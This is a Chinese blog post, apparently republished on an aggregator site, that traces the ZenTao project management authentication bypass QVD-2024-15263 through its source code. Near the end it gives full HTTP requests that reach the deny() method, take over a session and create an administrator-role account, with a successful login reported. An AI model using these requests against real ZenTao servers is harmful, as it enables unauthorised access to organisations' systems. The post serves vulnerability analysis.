禅道项目管理系统 身份验证漏洞分析QVD-2024-15263

2024-05-04 14:44

本文主要是介绍禅道项目管理系统 身份验证漏洞分析QVD-2024-15263,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 前言

        最近不怎么更新了!向小伙伴说明下 我不是什么组织 更不什么经销号(尽管csdn有很多经销广告号)
        一确实是下岗了!忙着为找工作而发愁。简历都投出去如同石沉大海能不愁吗!.哎......
        二是忙着论文及材料的事....
        三是也看了最近的漏洞,感觉也没啥可分析的 一眼就看出问题所在。 有什么可分析的呢!就像医生看看患者如同看萝卜白菜一样.....,
        那分析反序列化链呢,这也没什么意思啊!

        话说到此,今儿个就推荐你看这篇文章。有一定难度挑战度,内容还是跟以前一样,以一个挖洞者的视角来讲解分析。逻辑绝对保证逻辑,绝对给你分析的明明白白的前后贯彻........

漏洞信息

参考链接

https://github.com/easysoft/zentaopms/commit/695055c6b1d2e6a8c944bdbc38308c06820c40ce

根据网上纰漏的信息及作者补救的代码来看,我们不难看出只要app拥有对象user就可以绕过某种限制。

 后续的更正代码则是进一步判断user对象中的account。既然是漏洞就代表着判断user一定存在某种问题。

漏洞分析

我们先分析一波,谁的执行流程会经过这行验证。

因为这段代码逻辑在类的构造方法中,我们右键点击entery -> Find Usages

着api\v1\entries 这个目录下的类 似乎都继承了entry,

我们挑一个敏感的 usersEntry

为什么说usersEntry比较敏感呢,因为他的类中有一个函数POST,这个函数似乎可以创建用户账号。

这个之后再用 Find Usages ,就没有结果了。但着不意味着没有函数去调用它。

这里我给大家提供几种思路,

一是利用框架的特点,看看我们是否可以调用匹配路由规则的函数。

二是寻找用户可以控制的点,这类往往是参数进行反射调用,或者类似与call_user_func_array这样的函数去调用某个方法。

着api这个类中我们就找到了这样的线索,call_user_func_array() 后面似乎也是我们想要的enter。

分析下上面的逻辑;$entry = new $entryName(); 而 $entryName 是api的成员entry+"Entry" 得来的,

也就是说得让api 的成员值为users。另外也需将api的成员action为post 。这才能去调用usersEntry的post方法

根据这几个线索,我们继续Find Usages --> loadModule,找到一个比较上层的。

非常好这个算是入口点了,最好在验证下api.php我们是否可以访问这个文件。

 接下在就重点分析下,app下的user对象的限制,与api的entry成员是否可控。

1,先分析成员entry何时被赋值

entry由传来的$target赋值,需继续向上分析。我们也意外看到了action的 strtolower($_SERVER['REQUEST_METHOD']);完美这个我们刚刚好可以控制这个变量为post,只需前端发起post请求就好了。

右键route Find Usages

这个parseRequest() 正好也是api.php调用而来的

 

parseRequest()方法中,是this->config->routes传进入的,似乎是不可控的变量的。

但回到route方法中,你仔细分析$target变量,就会发现其实成员entry一定程度上是可控的

path这个成员实在api的构造方法中被赋值的。(随便提示下来接下来的处理中version被path赋值,这个也是执行条件之一)

右键this->path Find Usages  

那么this->config->routes有关键字user吗?看下图,有的!

$entry与action已经分析完毕 ,这俩都有机会可控,去执行usersEntry的post方法。  

接下来重点分析绕过这个限制

if(!isset($this->app->user) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));

如何才能让app对象(api类)有user成员呢?

既然我们的入口点是api.php,那么我们着重分析下api.的执行流程查看app->user合适能过被赋值  

在loadCommon中找到了点线索

在extCommonModel();的构造方法中,有一个方法setUser  

 app->可以有session对象的user成员赋值,条件是session有这个成员即可。这个可以当作利用之一

分析这个利用的可能,在创建api对象时会走到baseRouter的构造方法中(继承关系走的 ),有setSuperVars方法  

但是我们并没有找到user被赋值的逻辑

session的作用就在于多个请求是连续的,这样就促使我们可以多发请求,以找到让session中拥有user的可能

。。。。

这里有一个deny方法,分析里面的逻辑这里涉及到对相关字段的赋值  

$this->app 没有对象$user 会怎样?

$user会被创建=null吗?之后$user->的成员rights,groups,admin会被创建吗?

但凡user对象被创建起来,后面就会被赋值给session 这个已经足够我们进行利用的条件了。

那么下面分析如何才能去调用这串代码。commonModel的deny方法

右键deny Find Usages

这个虽然可以调用deny方法但是需要this->app->user, 这个显然我们是没有的,我们调用deny的目的也是要拥有user对象。

之后的一样没有结果了,我们只能再次把期望寄托于 类似于参数反射调用,或者类似于call_user_func_array这样的函数去调用某个方法。

还记得之前loadModule模块吗?,有version字段的调用enter的某方法。那么没有version会不会也执行call_user_func_array调用某方法呢

跟入到父类的loadModule中去,最终来到这里,果然有call_user_func_array的调用

分析下module与methodName是怎么传来的,是否为可控变量。

继续分析$moduleName变量,

继续分析moduleName的赋值(这几次搜索结果,都要靠近router因为api类继承的它,比较可能有一条调用链)  

这里有两种可能,一个是GET方式,一个是Pathinfo方式

选择GET方式进行分析,

this->config->moduleVar与$this->config->methodVar两个变量是m 与 f

api.php?m=commonModel&f=deny 直接这样干,行不行?

后续调试中发现,这点不好绕过

deny不在开放方法中啊,

现在只能希望与这里开放的方法中找可以调用deny的(且是commonModel类有继承关系的)

.................,一番对比 终于在testcase中发现了saveXmindImport有deny的方法的调用

且common是继承commonModel类的,非常好就是我们想要的结果。

 

以这样的payload 打过去/zentaopms/www/api.php?m=testcase&f=savexmindimport。

后端调试发现并程序没有进入deny方法中,回头检查一下

经过一番观察分析,发现在testcase的构造方法中,有下面验证限制,

绕过也很简单,要么$products查的存在,要么前端是一个ajax请求

我们只需这样就可以是ajax请求了

ok这样就进入deny了

漏洞验证
GET /zentaopms/www/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-cn; vision=rnd; device=desktop; theme=default; preProductID=1; preBranch=0; preExecutionID=1; lastProject=7; goback=%7B%22admin%22%3A%22http%3A%5C%2F%5C%2Flocalhost%5C%2Fzentaopms%5C%2Fwww%5C%2Findex.php%3Fm%3Dcompany%26f%3Dbrowse%22%7D;XDEBUG_SESSION=14117
Connection: close

此时返回的cookie() 与之关联的session时经过deny方法处理过的是由user的。

现在开始创建用户账号的验证

POST /zentaopms/www/api.php/v1/users HTTP/1.1
Cookie: zentaosid=bk2fnh0asopgj78jvkc7klu2m4;XDEBUG_SESSION=
Host: localhost
Content-Length: 93{"account": "66test", "password": "Test123", "realname": "Test", "role": "top", "group": "1"}

此时后端调试也发现进入了usersEntry中的post方法且创建了用户账号

接下来登录验证一下

66test:Test123

没问题成功登录了上去。   

感谢看到这里,有什么没有看明白的欢迎评论区留言,另外点点小赞   在此谢过了.........

 

这篇关于禅道项目管理系统 身份验证漏洞分析QVD-2024-15263的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/959442

相关文章

这15个Vue指令,让你的项目开发爽到爆

1. V-Hotkey 仓库地址: github.com/Dafrok/v-ho… Demo: 戳这里 https://dafrok.github.io/v-hotkey 安装: npm install --save v-hotkey 这个指令可以给组件绑定一个或多个快捷键。你想要通过按下 Escape 键后隐藏某个组件,按住 Control 和回车键再显示它吗?小菜一碟: <template

如何用Docker运行Django项目

本章教程,介绍如何用Docker创建一个Django,并运行能够访问。 一、拉取镜像 这里我们使用python3.11版本的docker镜像 docker pull python:3.11 二、运行容器 这里我们将容器内部的8080端口,映射到宿主机的80端口上。 docker run -itd --name python311 -p

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题

题库来源:安全生产模拟考试一点通公众号小程序 2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题是由安全生产模拟考试一点通提供,流动式起重机司机证模拟考试题库是根据流动式起重机司机最新版教材,流动式起重机司机大纲整理而成(含2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题参考答案和部分工种参考解析),掌握本资料和学校方法,考试容易。流动式起重机司机考试技

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业

高效录音转文字:2024年四大工具精选!

在快节奏的工作生活中,能够快速将录音转换成文字是一项非常实用的能力。特别是在需要记录会议纪要、讲座内容或者是采访素材的时候,一款优秀的在线录音转文字工具能派上大用场。以下推荐几个好用的录音转文字工具! 365在线转文字 直达链接:https://www.pdf365.cn/ 365在线转文字是一款提供在线录音转文字服务的工具,它以其高效、便捷的特点受到用户的青睐。用户无需下载安装任何软件,只

在cscode中通过maven创建java项目

在cscode中创建java项目 可以通过博客完成maven的导入 建立maven项目 使用快捷键 Ctrl + Shift + P 建立一个 Maven 项目 1 Ctrl + Shift + P 打开输入框2 输入 "> java create"3 选择 maven4 选择 No Archetype5 输入 域名6 输入项目名称7 建立一个文件目录存放项目,文件名一般为项目名8 确定

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

SWAP作物生长模型安装教程、数据制备、敏感性分析、气候变化影响、R模型敏感性分析与贝叶斯优化、Fortran源代码分析、气候数据降尺度与变化影响分析

查看原文>>>全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用 SWAP模型是由荷兰瓦赫宁根大学开发的先进农作物模型,它综合考虑了土壤-水分-大气以及植被间的相互作用;是一种描述作物生长过程的一种机理性作物生长模型。它不但运用Richard方程,使其能够精确的模拟土壤中水分的运动,而且耦合了WOFOST作物模型使作物的生长描述更为科学。 本文让更多的科研人员和农业工作者

MOLE 2.5 分析分子通道和孔隙

软件介绍 生物大分子通道和孔隙在生物学中发挥着重要作用,例如在分子识别和酶底物特异性方面。 我们介绍了一种名为 MOLE 2.5 的高级软件工具,该工具旨在分析分子通道和孔隙。 与其他可用软件工具的基准测试表明,MOLE 2.5 相比更快、更强大、功能更丰富。作为一项新功能,MOLE 2.5 可以估算已识别通道的物理化学性质。 软件下载 https://pan.quark.cn/s/57